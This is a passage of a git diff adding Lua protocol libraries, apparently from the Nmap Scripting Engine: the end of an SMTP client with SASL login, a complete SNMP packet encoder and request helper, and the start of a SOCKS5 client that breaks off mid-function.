+-- @return true on success, or false on failures.
+-- @return response returned by the SMTP server on success, or an
+-- error message on failures.
+ehlo = function(socket, domain)
+ local st, ret, response
+ st, response = query(socket, "EHLO", domain)
+ if not st then
+ return st, response
+ end
+
+ st, ret = check_reply("EHLO", response)
+ if not st then
+ quit(socket)
+ return st, ret
+ end
+
+ return st, response
+end
+
+--- Sends the HELP command to the SMTP server.
+--
+-- On network errors or if the SMTP command fails, the connection
+-- will be closed and the socket cleared.
+--
+-- @param socket connected to server
+-- @return true on success, or false on failures.
+-- @return response returned by the SMTP server on success, or an
+-- error message on failures.
+help = function(socket)
+ local st, ret, response
+ st, response = query(socket, "HELP")
+
+ if not st then
+ return st, response
+ end
+
+ st, ret = check_reply("HELP", response)
+ if not st then
+ quit(socket)
+ return st, ret
+ end
+
+ return st, response
+end
+
+--- Sends the MAIL command to the SMTP server.
+--
+-- On network errors or if the SMTP command fails, the connection
+-- will be closed and the socket cleared.
+--
+-- @param socket connected to server.
+-- @param address of the sender.
+-- @param esmtp_opts The additional ESMTP options table, possible values:
+-- size: a decimal value to represent the message size in octets.
+-- ret: include the message in the DSN, should be 'FULL' or 'HDRS'.
+-- envid: envelope identifier, printable characters that would be
+-- transmitted along with the message and included in the
+-- failed DSN.
+-- transid: a globally unique case-sensitive value that identifies
+-- this particular transaction.
+-- @return true on success, or false on failures.
+-- @return response returned by the SMTP server on success, or an
+-- error message on failures.
+mail = function(socket, address, esmtp_opts)
+ local st, ret, response
+
+ if esmtp_opts and next(esmtp_opts) then
+ local data = ""
+ -- we do not check for strange values, read the NSEDoc.
+ for k,v in pairs(esmtp_opts) do
+ k = k:upper()
+ data = string.format("%s %s=%s", data, k, v)
+ end
+ st, response = query(socket, "MAIL",
+ string.format("FROM:<%s>%s",
+ address, data))
+ else
+ st, response = query(socket, "MAIL",
+ string.format("FROM:<%s>", address))
+ end
+
+ if not st then
+ return st, response
+ end
+
+ st, ret = check_reply("MAIL", response)
+ if not st then
+ quit(socket)
+ return st, ret
+ end
+
+ return st, response
+end
+
+--- Sends the RCPT command to the SMTP server.
+--
+-- On network errors or if the SMTP command fails, the connection
+-- will be closed and the socket cleared.
+--
+-- @param socket connected to server.
+-- @param address of the recipient.
+-- @return true on success, or false on failures.
+-- @return response returned by the SMTP server on success, or an
+-- error message on failures.
+recipient = function(socket, address)
+ local st, ret, response
+
+ st, response = query(socket, "RCPT",
+ string.format("TO:<%s>", address))
+
+ if not st then
+ return st, response
+ end
+
+ st, ret = check_reply("RCPT", response)
+ if not st then
+ quit(socket)
+ return st, ret
+ end
+
+ return st, response
+end
+
+--- Sends data to the SMTP server.
+--
+-- This function will automatically adds <code><CRLF>.<CRLF></code> at the
+-- end. On network errors or if the SMTP command fails, the connection
+-- will be closed and the socket cleared.
+--
+-- @param socket connected to server.
+-- @param data to be sent.
+-- @return true on success, or false on failures.
+-- @return response returned by the SMTP server on success, or an
+-- error message on failures.
+datasend = function(socket, data)
+ local st, ret, response
+
+ st, response = query(socket, "DATA")
+ if not st then
+ return st, response
+ end
+
+ st, ret = check_reply("DATA", response)
+ if not st then
+ quit(socket)
+ return st, ret
+ end
+
+ if data then
+ st, response = query(socket, data.."\r\n.")
+ if not st then
+ return st, response
+ end
+
+ st, ret = check_reply("DATA", response)
+ if not st then
+ quit(socket)
+ return st, ret
+ end
+ end
+
+ return st, response
+end
+
+--- Sends the RSET command to the SMTP server.
+--
+-- On network errors or if the SMTP command fails, the connection
+-- will be closed and the socket cleared.
+--
+-- @param socket connected to server.
+-- @return true on success, or false on failures.
+-- @return response returned by the SMTP server on success, or an
+-- error message on failures.
+reset = function(socket)
+ local st, ret, response
+ st, response = query(socket, "RSET")
+
+ if not st then
+ return st, response
+ end
+
+ st, ret = check_reply("RSET", response)
+ if not st then
+ quit(socket)
+ return st, ret
+ end
+
+ return st, response
+end
+
+--- Sends the VRFY command to verify the validity of a mailbox.
+--
+-- On network errors or if the SMTP command fails, the connection
+-- will be closed and the socket cleared.
+--
+-- @param socket connected to server.
+-- @param mailbox to verify.
+-- @return true on success, or false on failures.
+-- @return response returned by the SMTP server on success, or an
+-- error message on failures.
+verify = function(socket, mailbox)
+ local st, ret, response
+ st, response = query(socket, "VRFY", mailbox)
+
+ st, ret = check_reply("VRFY", response)
+ if not st then
+ quit(socket)
+ return st, ret
+ end
+
+ return st, response
+end
+
+--- Sends the QUIT command to the SMTP server, and closes the socket.
+--
+-- @param socket connected to server.
+quit = function(socket)
+ stdnse.debug3("SMTP: sending 'QUIT'.")
+ socket:send("QUIT\r\n")
+ socket:close()
+end
+
+--- Attempts to authenticate with the SMTP server. The supported authentication
+-- mechanisms are: LOGIN, PLAIN, CRAM-MD5, DIGEST-MD5 and NTLM.
+--
+-- @param socket connected to server.
+-- @param username SMTP username.
+-- @param password SMTP password.
+-- @param mech Authentication mechanism.
+-- @return true on success, or false on failures.
+-- @return response returned by the SMTP server on success, or an
+-- error message on failures.
+
+login = function(socket, username, password, mech)
+ assert(mech == "LOGIN" or mech == "PLAIN" or mech == "CRAM-MD5"
+ or mech == "DIGEST-MD5" or mech == "NTLM",
+ ("Unsupported authentication mechanism (%s)"):format(mech or "nil"))
+ local status, response = query(socket, "AUTH", mech)
+ if ( not(status) ) then
+ return false, "ERROR: Failed to send AUTH to server"
+ end
+
+ if ( mech == "LOGIN" ) then
+ local tmp = response:match("334 (.*)")
+ if ( not(tmp) ) then
+ return false, "ERROR: Failed to decode LOGIN response"
+ end
+ tmp = base64.dec(tmp):lower()
+ if ( not(tmp:match("^username")) ) then
+ return false, ("ERROR: Expected \"Username\", but received (%s)"):format(tmp)
+ end
+ status, response = query(socket, base64.enc(username))
+ if ( not(status) ) then
+ return false, "ERROR: Failed to read LOGIN response"
+ end
+ tmp = response:match("334 (.*)")
+ if ( not(tmp) ) then
+ return false, "ERROR: Failed to decode LOGIN response"
+ end
+ tmp = base64.dec(tmp):lower()
+ if ( not(tmp:match("^password")) ) then
+ return false, ("ERROR: Expected \"password\", but received (%s)"):format(tmp)
+ end
+ status, response = query(socket, base64.enc(password))
+ if ( not(status) ) then
+ return false, "ERROR: Failed to read LOGIN response"
+ end
+ if ( response:match("^235") ) then
+ return true, "Login success"
+ end
+ return false, response
+ end
+
+
+ if ( mech == "NTLM" ) then
+ -- sniffed of the wire, seems to always be the same
+ -- decodes to some NTLMSSP blob greatness
+ status, response = query(socket, "TlRMTVNTUAABAAAAB7IIogYABgA3AAAADwAPACgAAAAFASgKAAAAD0FCVVNFLUFJUi5MT0NBTERPTUFJTg==")
+ if ( not(status) ) then return false, "ERROR: Failed to receive NTLM challenge" end
+ end
+
+
+ local chall = response:match("^334 (.*)")
+ chall = (chall and base64.dec(chall))
+ if (not(chall)) then return false, "ERROR: Failed to retrieve challenge" end
+
+ -- All mechanisms expect username and pass
+ -- add the otheronce for those who need them
+ local mech_params = { username, password, chall, "smtp" }
+ local auth_data = sasl.Helper:new(mech):encode(table.unpack(mech_params))
+ auth_data = base64.enc(auth_data)
+
+ status, response = query(socket, auth_data)
+ if ( not(status) ) then
+ return false, ("ERROR: Failed to authenticate using SASL %s"):format(mech)
+ end
+
+ if ( mech == "DIGEST-MD5" ) then
+ local rspauth = response:match("^334 (.*)")
+ if ( rspauth ) then
+ rspauth = base64.dec(rspauth)
+ status, response = query(socket,"")
+ end
+ end
+
+ if ( response:match("^235") ) then return true, "Login success" end
+
+ return false, response
+end
+
+return _ENV;
diff --git a/nselib/snmp.lua b/nselib/snmp.lua
new file mode 100644
index 0000000..b732160
--- /dev/null
+++ b/nselib/snmp.lua
@@ -0,0 +1,598 @@
+---
+-- SNMP library.
+--
+-- @args snmp.version The SNMP protocol version. Use <code>"v1"</code> or <code>0</code> for SNMPv1 (default) and <code>"v2c"</code> or <code>1</code> for SNMPv2c.
+--
+-- @author Patrik Karlsson <patrik@cqure.net>
+-- @author Gioacchino Mazzurco <gmazzurco89@gmail.com>
+-- @copyright Same as Nmap--See https://nmap.org/book/man-legal.html
+
+-- 2015-06-11 Gioacchino Mazzurco - Use creds library to handle SNMP community
+
+local asn1 = require "asn1"
+local creds = require "creds"
+local math = require "math"
+local nmap = require "nmap"
+local stdnse = require "stdnse"
+local string = require "string"
+local table = require "table"
+_ENV = stdnse.module("snmp", stdnse.seeall)
+
+
+-- SNMP ASN.1 Encoders
+local tagEncoder = {}
+
+-- Override the boolean encoder
+tagEncoder['boolean'] = function(self, val)
+ return '\x05\x00'
+end
+
+-- Complex tag encoders
+tagEncoder['table'] = function(self, val)
+ if val._snmp == '\x06' then -- OID
+ local oidStr = string.char(val[1]*40 + val[2])
+ for i = 3, #val do
+ oidStr = oidStr .. self.encode_oid_component(val[i])
+ end
+ return val._snmp .. self.encodeLength(#oidStr) .. oidStr
+
+ elseif (val._snmp == '\x40') then -- ipAddress
+ return string.pack('Bs1', 0x40, string.pack('BBBB', table.unpack(val)))
+
+ -- counter or gauge or timeticks or opaque
+ elseif (val._snmp == '\x41' or val._snmp == '\x42' or val._snmp == '\x43' or val._snmp == '\x44') then
+ local val = self:encodeInt(val[1])
+ return val._snmp .. self.encodeLength(#val) .. val
+ end
+
+ local encVal = ""
+ for _, v in ipairs(val) do
+ encVal = encVal .. self:encode(v) -- todo: buffer?
+ end
+
+ local tableType = val._snmp or "\x30"
+ return tableType .. self.encodeLength(#encVal) .. encVal
+end
+
+---
+-- Encodes a given value according to ASN.1 basic encoding rules for SNMP
+-- packet creation.
+-- @param val Value to be encoded.
+-- @return Encoded value.
+function encode(val)
+ local vtype = type(val)
+ local encoder = asn1.ASN1Encoder:new()
+ encoder:registerTagEncoders( tagEncoder )
+
+
+ local encVal = encoder:encode(val)
+
+ if encVal then
+ return encVal
+ end
+
+ return ''
+end
+
+-- SNMP ASN.1 Decoders
+local tagDecoder = {}
+
+-- Application specific tags
+--
+-- IP Address
+
+-- Response-PDU
+-- TOOD: Figure out how to remove these dependencies
+tagDecoder["\xa2"] = function( self, encStr, elen, pos )
+ local seq = {}
+
+ seq, pos = self:decodeSeq(encStr, elen, pos)
+ seq._snmp = "\xa2"
+ return seq, pos
+end
+
+tagDecoder["\x40"] = function( self, encStr, elen, pos )
+ local ip = {}
+ -- TODO: possibly convert to ipOps.str_to_ip() if octets are not used separately elsewhere.
+ ip[1], ip[2], ip[3], ip[4], pos = string.unpack("BBBB", encStr, pos)
+ ip._snmp = '\x40'
+ return ip, pos
+end
+
+---
+-- Decodes an SNMP packet or a part of it according to ASN.1 basic encoding
+-- rules.
+-- @param encStr Encoded string.
+-- @param pos Current position in the string.
+-- @return The decoded value(s).
+-- @return The position after decoding
+function decode(encStr, pos)
+ local decoder = asn1.ASN1Decoder:new()
+
+ if ( #tagDecoder == 0 ) then
+ decoder:registerBaseDecoders()
+ -- Application specific tags
+ -- tagDecoder["40"] = decoder.decoder["06"] -- IP Address; same as OID
+ tagDecoder["\x41"] = decoder.decoder["\x02"] -- Counter; same as Integer
+ tagDecoder["\x42"] = decoder.decoder["\x02"] -- Gauge
+ tagDecoder["\x43"] = decoder.decoder["\x02"] -- TimeTicks
+ tagDecoder["\x44"] = decoder.decoder["\x04"] -- Opaque; same as Octet String
+ tagDecoder["\x45"] = decoder.decoder["\x06"] -- NsapAddress
+ tagDecoder["\x46"] = decoder.decoder["\x02"] -- Counter64
+ tagDecoder["\x47"] = decoder.decoder["\x02"] -- UInteger32
+
+ -- Context specific tags
+ tagDecoder["\xa0"] = decoder.decoder["\x30"] -- GetRequest-PDU
+ tagDecoder["\xa1"] = decoder.decoder["\x30"] -- GetNextRequest-PDU
+ --tagDecoder["\xa2"] = decoder.decoder["\x30"] -- Response-PDU
+ tagDecoder["\xa3"] = decoder.decoder["\x30"] -- SetRequest-PDU
+ tagDecoder["\xa4"] = decoder.decoder["\x30"] -- Trap-PDU
+ tagDecoder["\xa5"] = decoder.decoder["\x30"] -- GetBulkRequest-PDU
+ tagDecoder["\xa6"] = decoder.decoder["\x30"] -- InformRequest-PDU (not implemented here yet)
+ tagDecoder["\xa7"] = decoder.decoder["\x30"] -- SNMPv2-Trap-PDU (not implemented here yet)
+ tagDecoder["\xa8"] = decoder.decoder["\x30"] -- Report-PDU (not implemented here yet)
+ end
+
+
+ decoder:registerTagDecoders( tagDecoder )
+
+ return decoder:decode( encStr, pos )
+end
+
+local version_to_num = {v1=0, v2c=1}
+local num_to_version = {[0]="v1", [1]="v2c"}
+
+--- Returns the numerical value of a given SNMP protocol version
+--
+-- Numerical input is simply passed through, assuming it is valid.
+-- String input is translated to its corresponding numerical value.
+-- @param version of the SNMP protocol. See script argument <code>snmp.version</code> for valid codes
+-- @param default numerical version of the SNMP protocol if the <code>version</code> parameter is <code>nil</code> or its value is invalid.
+-- @return 0 or 1, depending on which protocol version was specified.
+local function getVersion (version, default)
+ if version then
+ version = version_to_num[version] or tonumber(version)
+ if num_to_version[version] then
+ return version
+ end
+ stdnse.debug1("Unrecognized SNMP version; proceeding with SNMP%s", num_to_version[default])
+ end
+ return default
+end
+
+-- the library functions will use this version of SNMP by default
+local default_version = getVersion(stdnse.get_script_args("snmp.version"), 0)
+
+---
+-- Create an SNMP packet.
+-- @param PDU SNMP Protocol Data Unit to be encapsulated in the packet.
+-- @param version SNMP version; defaults to script argument <code>snmp.version</code>
+-- @param commStr community string.
+function buildPacket(PDU, version, commStr)
+ local packet = {}
+ packet[1] = getVersion(version, default_version)
+ packet[2] = commStr
+ packet[3] = PDU
+ return packet
+end
+
+--- SNMP options table
+-- @class table
+-- @name snmp.options
+-- @field reqId Request ID.
+-- @field err Error.
+-- @field errIdx Error index.
+
+---
+-- Create an SNMP Get Request PDU.
+-- @param options SNMP options table
+-- @see snmp.options
+-- @param ... Object identifiers to be queried.
+-- @return Table representing PDU.
+function buildGetRequest(options, ...)
+ if not options then options = {} end
+
+ if not options.reqId then options.reqId = math.fmod(nmap.clock_ms(), 65000) end
+ if not options.err then options.err = 0 end
+ if not options.errIdx then options.errIdx = 0 end
+
+ local req = {}
+ req._snmp = '\xa0'
+ req[1] = options.reqId
+ req[2] = options.err
+ req[3] = options.errIdx
+
+ local payload = {}
+ for i=1, select('#', ...) do
+ payload[i] = {}
+ payload[i][1] = select(i, ...)
+ if type(payload[i][1]) == "string" then
+ payload[i][1] = str2oid(payload[i][1])
+ end
+ payload[i][2] = false
+ end
+ req[4] = payload
+ return req
+end
+
+
+---
+-- Create an SNMP Get Next Request PDU.
+-- @param options SNMP options table
+-- @see snmp.options
+-- @param ... Object identifiers to be queried.
+-- @return Table representing PDU.
+function buildGetNextRequest(options, ...)
+ options = options or {}
+ options.reqId = options.reqId or math.fmod(nmap.clock_ms(), 65000)
+ options.err = options.err or 0
+ options.errIdx = options.errIdx or 0
+
+ local req = {}
+ req._snmp = '\xa1'
+ req[1] = options.reqId
+ req[2] = options.err
+ req[3] = options.errIdx
+
+ local payload = {}
+ for i=1, select('#', ...) do
+ payload[i] = {}
+ payload[i][1] = select(i, ...)
+ if type(payload[i][1]) == "string" then
+ payload[i][1] = str2oid(payload[i][1])
+ end
+ payload[i][2] = false
+ end
+ req[4] = payload
+ return req
+end
+
+---
+-- Create an SNMP Set Request PDU.
+--
+-- Takes one OID/value pair or an already prepared table.
+-- @param options SNMP options table
+-- @see snmp.options
+-- @param oid Object identifiers of object to be set.
+-- @param value To which value object should be set. If given a table, use the
+-- table instead of OID/value pair.
+-- @return Table representing PDU.
+function buildSetRequest(options, oid, value)
+ if not options then options = {} end
+
+ if not options.reqId then options.reqId = math.fmod(nmap.clock_ms(), 65000) end
+ if not options.err then options.err = 0 end
+ if not options.errIdx then options.errIdx = 0 end
+
+ local req = {}
+ req._snmp = '\xa3'
+ req[1] = options.reqId
+ req[2] = options.err
+ req[3] = options.errIdx
+
+ if (type(value) == "table") then
+ req[4] = value
+ else
+ local payload = {}
+ if (type(oid) == "string") then
+ payload[1] = str2oid(oid)
+ else
+ payload[1] = oid
+ end
+ payload[2] = value
+ req[4] = {}
+ req[4][1] = payload
+ end
+ return req
+end
+
+---
+-- Create an SNMP Trap PDU.
+-- @return Table representing PDU
+function buildTrap(enterpriseOid, agentIp, genTrap, specTrap, timeStamp)
+ local req = {}
+ req._snmp = '\xa4'
+ if (type(enterpriseOid) == "string") then
+ req[1] = str2oid(enterpriseOid)
+ else
+ req[1] = enterpriseOid
+ end
+ req[2] = {}
+ req[2]._snmp = '\x40'
+ for n in string.gmatch(agentIp, "%d+") do
+ table.insert(req[2], tonumber(n))
+ end
+ req[3] = genTrap
+ req[4] = specTrap
+
+ req[5] = {}
+ req[5]._snmp = '\x43'
+ req[5][1] = timeStamp
+
+ req[6] = {}
+
+ return req
+end
+
+---
+-- Create an SNMP Get Response PDU.
+--
+-- Takes one OID/value pair or an already prepared table.
+-- @param options SNMP options table
+-- @see snmp.options
+-- @param oid Object identifiers of object to be sent back.
+-- @param value If given a table, use the table instead of OID/value pair.
+-- @return Table representing PDU.
+function buildGetResponse(options, oid, value)
+ if not options then options = {} end
+
+ -- if really a response, should use reqId of request!
+ if not options.reqId then options.reqId = math.fmod(nmap.clock_ms(), 65000) end
+ if not options.err then options.err = 0 end
+ if not options.errIdx then options.errIdx = 0 end
+
+ local resp = {}
+ resp._snmp = '\xa2'
+ resp[1] = options.reqId
+ resp[2] = options.err
+ resp[3] = options.errIdx
+
+ if (type(value) == "table") then
+ resp[4] = value
+ else
+
+ local payload = {}
+ if (type(oid) == "string") then
+ payload[1] = str2oid(oid)
+ else
+ payload[1] = oid
+ end
+ payload[2] = value
+ resp[4] = {}
+ resp[4][1] = payload
+ end
+ return resp
+end
+
+---
+-- Transforms a string into an object identifier table.
+-- @param oidStr Object identifier as string, for example
+-- <code>"1.3.6.1.2.1.1.1.0"</code>.
+-- @return Table representing OID.
+function str2oid(oidStr)
+ local oid = {}
+ for n in string.gmatch(oidStr, "%d+") do
+ table.insert(oid, tonumber(n))
+ end
+ oid._snmp = '\x06'
+ return oid
+end
+
+---
+-- Transforms a table representing an object identifier to a string.
+-- @param oid Object identifier table.
+-- @return OID string.
+function oid2str(oid)
+ if (type(oid) ~= "table") then return 'invalid oid' end
+ return table.concat(oid, '.')
+end
+
+---
+-- Transforms a table representing an IP to a string.
+-- @param ip IP table.
+-- @return IP string.
+function ip2str(ip)
+ if (type(ip) ~= "table") then return 'invalid ip' end
+ return table.concat(ip, '.')
+end
+
+
+---
+-- Transforms a string into an IP table.
+-- @param ipStr IP as string.
+-- @return Table representing IP.
+function str2ip(ipStr)
+ local ip = {}
+ for n in string.gmatch(ipStr, "%d+") do
+ table.insert(ip, tonumber(n))
+ end
+ ip._snmp = '\x40'
+ return ip
+end
+
+
+---
+-- Fetches values from a SNMP response.
+-- @param resp SNMP Response (will be decoded if necessary).
+-- @return Table with all decoded responses and their OIDs.
+function fetchResponseValues(resp)
+ if (type(resp) == "string") then
+ resp = decode(resp)
+ end
+
+ if (type(resp) ~= "table") then
+ return {}
+ end
+
+ local varBind
+ if (resp._snmp and resp._snmp == '\xa2') then
+ varBind = resp[4]
+ elseif (resp[3] and resp[3]._snmp and resp[3]._snmp == '\xa2') then
+ varBind = resp[3][4]
+ end
+
+ if (varBind and type(varBind) == "table") then
+ local result = {}
+ for k, v in ipairs(varBind) do
+ local val = v[2]
+ if (type(v[2]) == "table") then
+ if (v[2]._snmp == '\x40') then
+ val = v[2][1] .. '.' .. v[2][2] .. '.' .. v[2][3] .. '.' .. v[2][4]
+ elseif (v[2]._snmp == '\x41') then
+ val = v[2][1]
+ elseif (v[2]._snmp == '\x42') then
+ val = v[2][1]
+ elseif (v[2]._snmp == '\x43') then
+ val = v[2][1]
+ elseif (v[2]._snmp == '\x44') then
+ val = v[2][1]
+ end
+ end
+ table.insert(result, {val, oid2str(v[1]), v[1]})
+ end
+ return result
+ end
+ return {}
+end
+
+
+--- SNMP Helper class
+--
+-- Handles socket communication, parsing, and setting of community strings
+Helper = {
+
+ --- Creates a new Helper instance
+ --
+ -- @param host string containing the host name or ip
+ -- @param port table containing the port details to connect to
+ -- @param community string containing SNMP community
+ -- @param options A table with appropriate options:
+ -- * timeout - the timeout in milliseconds (Default: 5000)
+ -- * version - the SNMP version; defaults to script argument <code>snmp.version</code>.
+ -- @return o a new instance of Helper
+ new = function( self, host, port, community, options )
+ local o = {}
+ setmetatable(o, self)
+ self.__index = self
+ o.host = host
+ o.port = port
+
+ o.community = community or "public"
+ if community == nil then
+ local creds_store = creds.Credentials:new(creds.ALL_DATA, host, port)
+ for _,cs in ipairs({creds.State.PARAM, creds.State.VALID}) do
+ local account = creds_store:getCredentials(cs)()
+ if account then
+ if account.pass and account.pass ~= "<empty>" and account.pass ~= "" then
+ o.community = account.pass
+ break
+ elseif account.user then
+ o.community = account.user
+ break
+ end
+ end
+ end
+ end
+
+ o.options = options or {
+ timeout = 5000,
+ version = default_version
+ }
+
+ return o
+ end,
+
+ --- Connect to the server
+ -- For UDP ports, this doesn't send any packets, but it creates the
+ -- socket and locks in the timeout.
+ -- @return status true on success, false on failure
+ connect = function( self )
+ self.socket = nmap.new_socket()
+ self.socket:set_timeout(self.options.timeout)
+ local status, err = self.socket:connect(self.host, self.port)
+ if ( not(status) ) then return false, err end
+
+ return true
+ end,
+
+ --- Communications helper
+ -- Sends an SNMP message and receives a response.
+ -- @param message the result of one of the build*Request functions
+ -- @return status False if there was an error, true otherwise.
+ -- @return response The raw response read from the socket.
+ request = function (self, message)
+ local payload = encode( buildPacket(
+ message,
+ self.options.version,
+ self.community
+ ) )
+
+ local status, err = self.socket:send(payload)
+ if not status then
+ stdnse.debug2("snmp.Helper.request: Send to %s failed: %s", self.host.ip, err)
+ return false, err
+ end
+
+ return self.socket:receive_bytes(1)
+ end,
+
+ --- Sends an SNMP Get Next request
+ -- @param options SNMP options table
+ -- @see snmp.options
+ -- @param ... Object identifiers to be queried.
+ -- @return status False if error, true otherwise
+ -- @return Table with all decoded responses and their OIDs.
+ getnext = function (self, options, ...)
+ local status, response = self:request(buildGetNextRequest(options or {}, ...))
+ if not status then
+ return status, response
+ end
+ return status, fetchResponseValues(response)
+ end,
+
+ --- Sends an SNMP Get request
+ -- @param options SNMP options table
+ -- @see snmp.options
+ -- @param ... Object identifiers to be queried.
+ -- @return status False if error, true otherwise
+ -- @return Table with all decoded responses and their OIDs.
+ get = function (self, options, ...)
+ local status, response = self:request(buildGetRequest(options or {}, ...))
+ if not status then
+ return status, response
+ end
+ return status, fetchResponseValues(response)
+ end,
+
+ --- Sends an SNMP Set request
+ -- @param options SNMP options table
+ -- @see snmp.options
+ -- @param oid Object identifiers of object to be set.
+ -- @param value To which value object should be set. If given a table,
+ -- use the table instead of OID/value pair.
+ -- @return status False if error, true otherwise
+ -- @return Table with all decoded responses and their OIDs.
+ set = function (self, options, oid, setparam)
+ local status, response = self:request(buildSetRequest(options or {}, oid, setparam))
+ if not status then
+ return status, response
+ end
+ return status, fetchResponseValues(response)
+ end,
+
+ --- Walks the MIB Tree
+ --
+ -- @param base_oid string containing the base object ID to walk
+ -- @return status true on success, false on failure
+ -- @return table containing <code>oid</code> and <code>value</code>
+ walk = function (self, base_oid)
+
+ local snmp_table = { baseoid = base_oid }
+ local oid = base_oid
+ local options = {}
+
+ local status, snmpdata = self:getnext(options, oid)
+ while ( snmpdata and snmpdata[1] and snmpdata[1][1] and snmpdata[1][2] ) do
+ oid = snmpdata[1][2]
+ if not oid:match(base_oid) or base_oid == oid then break end
+
+ table.insert(snmp_table, { oid = oid, value = snmpdata[1][1] })
+ local _ -- NSE don't want you to use global even if it is _
+ _, snmpdata = self:getnext(options, oid)
+ end
+
+ return status, snmp_table
+ end
+}
+
+return _ENV;
diff --git a/nselib/socks.lua b/nselib/socks.lua
new file mode 100644
index 0000000..fdf588f
--- /dev/null
+++ b/nselib/socks.lua
@@ -0,0 +1,283 @@
+---
+-- A smallish SOCKS version 5 proxy protocol implementation
+--
+-- @author Patrik Karlsson <patrik@cqure.net>
+--
+
+local match = require "match"
+local nmap = require "nmap"
+local stdnse = require "stdnse"
+local string = require "string"
+local table = require "table"
+_ENV = stdnse.module("socks", stdnse.seeall)
+
+-- SOCKS Authentication methods
+AuthMethod = {
+ NONE = 0,
+ GSSAPI = 1,
+ USERPASS = 2,
+}
+
+Request = {
+
+ -- Class that handles the connection request to the server
+ Connect = {
+
+ -- Creates a new instance of the class
+ -- @param auth_method table of requested authentication methods
+ -- @return o instance on success, nil on failure
+ new = function(self, auth_method)
+ local o = {
+ version = 5,
+ auth_method = ( "table" ~= type(auth_method) and { auth_method } or auth_method )
+ }
+ setmetatable(o, self)
+ self.__index = self
+ return o
+ end,
+
+ -- Converts the instance to string, so that it can be sent to the
+ -- server.
+ -- @return string containing the raw request
+ __tostring = function(self)
+ return string.pack("Bs1", self.version,
+ string.pack(("B"):rep(#self.auth_method), table.unpack(self.auth_method)))
+ end,
+
+ },
+
+ -- Class that handles the authentication request to the server
+ Authenticate = {
+
+ -- Creates a new instance of the class
+ -- @param auth_method number with the requested authentication method
+ -- @param creds method specific table of credentials
+ -- currently only user and pass authentication is supported
+ -- this method requires two fields to be present
+ -- <code>username</code> and <code>password</code>
+ -- @return o instance on success, nil on failure
+ new = function(self, auth_method, creds)
+ local o = {
+ auth_method = auth_method,
+ creds = creds
+ }
+ setmetatable(o, self)
+ self.__index = self
+ if ( auth_method == 2 ) then
+ return o
+ end
+ end,
+
+ -- Converts the instance to string, so that it can be sent to the
+ -- server.
+ -- @return string containing the raw request
+ __tostring = function(self)
+ -- we really don't support anything but 2, but let's pretend that
+ -- we actually do
+ if ( 2 == self.auth_method ) then
+ local version = 1
+ local username= self.creds.username or ""
+ local password= self.creds.password or ""
+
+ username = (username == "") and "\0" or username
+ password = (password == "") and "\0" or password
+
+ return string.pack("Bs1s1", version, username, password)
+ end
+ end,
+
+ }
+
+}
+
+Response = {
+
+ -- Class that handles the connection response
+ Connect = {
+
+ -- Creates a new instance of the class
+ -- @param data string containing the data as received over the socket
+ -- @return o instance on success, nil on failure
+ new = function(self, data)
+ local o = { data = data }
+ setmetatable(o, self)
+ self.__index = self
+ if ( o:parse() ) then
+ return o
+ end
+ end,
+
+ -- Parses the received data and populates member variables
+ -- @return true on success, false on failure
+ parse = function(self)
+ if ( #self.data ~= 2 ) then
+ return
+ end
+ local pos
+ self.version, self.method, pos = string.unpack("BB", self.data)
+ return true
+ end
+
+ },
+
+ -- Class that handles the authentication response
+ Authenticate = {
+
+ Status = {
+ SUCCESS = 0,
+ -- could be anything but zero
+ FAIL = 1,
+ },
+
+ -- Creates a new instance of the class
+ -- @param data string containing the data as received over the socket
+ -- @return o instance on success, nil on failure
+ new = function(self, data)
+ local o = { data = data }
+ setmetatable(o, self)
+ self.__index = self
+ if ( o:parse() ) then
+ return o
+ end
+ end,
+
+ -- Parses the received data and populates member variables
+ -- @return true on success, false on failure
+ parse = function(self)
+ if ( #self.data ~= 2 ) then
+ return
+ end
+ local pos
+ self.version, self.status, pos = string.unpack("BB", self.data)
+ return true
+ end,
+
+ -- checks if the authentication was successful or not
+ -- @return true on success, false on failure
+ isSuccess = function(self)
+ return ( self.status == self.Status.SUCCESS )
+ end,
+
+ }
+
+}
+
+-- The main script interface
+Helper = {
+
+ -- Create a new instance of the class
+ -- @param host table containing the host table
+ -- @param port table containing the port table
+ -- @param options table containing library options, currently:
+ -- <code>timeout</code> - socket timeout in ms
+ -- @return o instance of Helper
+ new = function(self, host, port, options)
+ options = options or {}
+ local o = { host = host, port = port, options = options }
+ setmetatable(o, self)
+ self.__index = self
+ return o
+ end,
+
+ -- Get the authentication method name by number
+ -- @param method number containing the authentication method
+ -- @return string containing the method name or Unknown
+ authNameByNumber = function(self, method)
+ local methods = {
+ [0] = "No authentication",
+ [1] = "GSSAPI",
+ [2] = "Username and password",
+ }
+ return methods[method] or ("Unknown method (%d)"):format(method)
+ end,
+
+ -- Connects to the SOCKS server
+ -- @param auth_method table containing the auth. methods to request
+ -- @return status true on success, false on failure
+ -- @return response table containing the response or err string on failure
+ connect = function(self, auth_method, socket)
+ self.socket = socket or nmap.new_socket()
+ self.socket:set_timeout(self.options.timeout or 10000)
+ local status, err = self.socket:connect(self.host, self.port)
+ if ( not(status) ) then
+ return status, err
+ end
+
+ auth_method = auth_method or {AuthMethod.NONE, AuthMethod.GSSAPI, AuthMethod.USERPASS}
+ status = self.socket:send( tostring(Request.Connect:new(auth_method)) )
+ if ( not(status) ) then
+ self.socket:close()
+ return false, "Failed to send connection request to server"
+ end
+
+ local status, data = self.socket:receive_buf(match.numbytes(2), true)
+ if ( not(status) ) then
+ self.socket:close()
+ return false, "Failed to receive connection response from server"
+ end
+
+ local response = Response.Connect:new(data)
+ if ( not(response) ) then
+ return false, "Failed to parse response from server"
+ end
+
+ if ( response.version ~= 5 ) then
+ return false, ("Unsupported SOCKS version (%d)"):format(response.version)
+ end
+ if ( response.method == 0xFF ) then
+ return false, "No acceptable authentication methods"
+ end
+
+ -- store the method so authenticate knows what to use
+ self.auth_method = response.method
+ return true, response
+ end,
+
+ -- Authenticates to the SOCKS server
+ -- @param creds table containing authentication method specific fields
+ -- currently only authentication method 2 (username and pass) is
+ -- implemented. That method requires the following fields:
+ -- <code>username</code> - containing the username
+ -- <code>password</code> - containing the password
+ -- @return status true on success, false on failure
+ -- @return err string containing the error message
+ authenticate = function(self, creds)
+ if ( self.auth_method ~= 2 ) then
+ return false, "Authentication method not supported"
+ end
+ local req = Request.Authenticate:new(self.auth_method, creds)
+ if ( not(req) ) then
+ return false, "Failed to create authentication request"
+ end
+
+ local status = self.socket:send(tostring(req))
+ if ( not(status) ) then
+ return false, "Failed to send authentication request"
+ end
+
+ if ( 2 == self.auth_method ) then
+ local status, data = self.socket:receive_buf(match.numbytes(2), true)
